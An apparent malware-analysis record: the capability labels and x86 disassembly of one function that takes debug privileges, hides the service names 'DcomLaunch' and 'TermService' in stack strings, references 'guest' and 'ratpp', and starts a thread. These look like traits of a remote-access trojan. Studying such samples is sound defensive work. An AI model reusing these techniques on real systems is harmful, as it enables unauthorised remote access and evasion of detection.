Function at 0x403760
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x8c
mov dl, byte [0x40cacc]
push esi
mov esi, ecx
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], dl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x4b]
mov byte [esp + 0x4a], dl
rep stosd dword es:[edi], eax
mov cx, word [0x40c2d0]
xor edx, edx
stosb byte es:[edi], al
mov eax, dword [str.guest]
mov dword [esp + 0x6e], edx
mov dword [esp + 0x72], edx
mov word [esp + 0x6c], cx
mov cx, word [0x40c2c8]
mov dword [esp + 0x76], edx
mov word [esp + 0x7a], dx
mov dword [esp + 0x82], edx
mov dword [esp + 0x86], edx
mov dword [esp + 0x68], eax
mov eax, dword [str.ratpp]
mov word [esp + 0x80], cx
mov dword [esp + 0x8a], edx
mov ecx, esi
mov dword [esp + 0x7c], eax
mov word [esp + 0x8e], dx
mov dword [esp + 0x90], 0xd3d
call fcn.00403480
lea edx, [esi + 0x108]
lea ecx, [esp + 0x4a]
mov dword [esp + 0x90], eax
mov edi, 0x1e
lea eax, [esp + 0x4a]
sub edx, ecx
mov cl, byte [edx + eax]
test cl, cl
je 0x40382e
mov byte [eax], cl
inc eax
dec edi
jne 0x40381f
jmp 0x403832
test edi, edi
jne 0x403833
dec eax
mov ecx, dword [esi]
xor edx, edx
mov byte [eax], 0
mov dword [esp + 0x20], edx
lea eax, [esp + 0x20]
push 0xc
mov dword [esp + 0x28], edx
push eax
push ecx
mov dword [esp + 0x34], edx
mov dword [esp + 0x2c], 0xa
mov word [esp + 0x30], 0x68
call fcn.00404970
add esp, 0xc
test eax, eax
jne 0x403872
pop edi
pop esi
add esp, 0x8c
ret
mov eax, dword [esi]
lea edx, [esp + 0x2c]
push 0x68
push edx
push eax
call fcn.00404970
add esp, 0xc
test eax, eax
jne 0x403891
pop edi
pop esi
add esp, 0x8c
ret
mov ecx, esi
call fcn.00403720
test eax, eax
je 0x4038f0
mov ecx, esi
call fcn.00403040
test eax, eax
je 0x4038f0
mov ecx, esi
call fcn.00402510
mov ecx, esi
call fcn.00402f70
mov edi, eax
test edi, edi
je 0x4038e9
push 1
push str.SeDebugPrivilege
mov ecx, esi
call fcn.00403670
mov ecx, dword [0x40cad0]
push edi
push 0
push 1
call dword [ecx + 0x120]
mov edx, dword [0x40cad0]
push 0
push eax
call dword [edx + 0x11c]
mov ecx, esi
call fcn.00403110
mov ecx, esi
call fcn.00402640
lea eax, [esp + 8]
mov ecx, esi
push eax
mov byte [esp + 0xc], 0x44
mov byte [esp + 0xd], 0x63
mov byte [esp + 0xe], 0x6f
mov byte [esp + 0xf], 0x6d
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], 0x63
mov byte [esp + 0x15], 0x68
mov byte [esp + 0x16], 0
call fcn.00403400
mov ecx, dword [0x40cad0]
push 0xbb8
call dword [ecx + 0x10c]
mov cl, 0x72
lea edx, [esp + 0x14]
mov al, 0x65
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov ecx, esi
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], al
mov byte [esp + 0x1b], 0x6d
mov byte [esp + 0x1c], 0x53
mov byte [esp + 0x1d], al
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x63
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0
call fcn.00403400
mov ecx, esi
call fcn.00403140
push 0
push 0
push esi
push 0x4039e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov eax, dword [0x40cad0]
call dword [eax + 0xcc]
mov ecx, dword [esi]
mov edx, dword [0x40cad0]
push ecx
call dword [edx + 0x1e8]
pop edi
mov eax, 1
pop esi
add esp, 0x8c
ret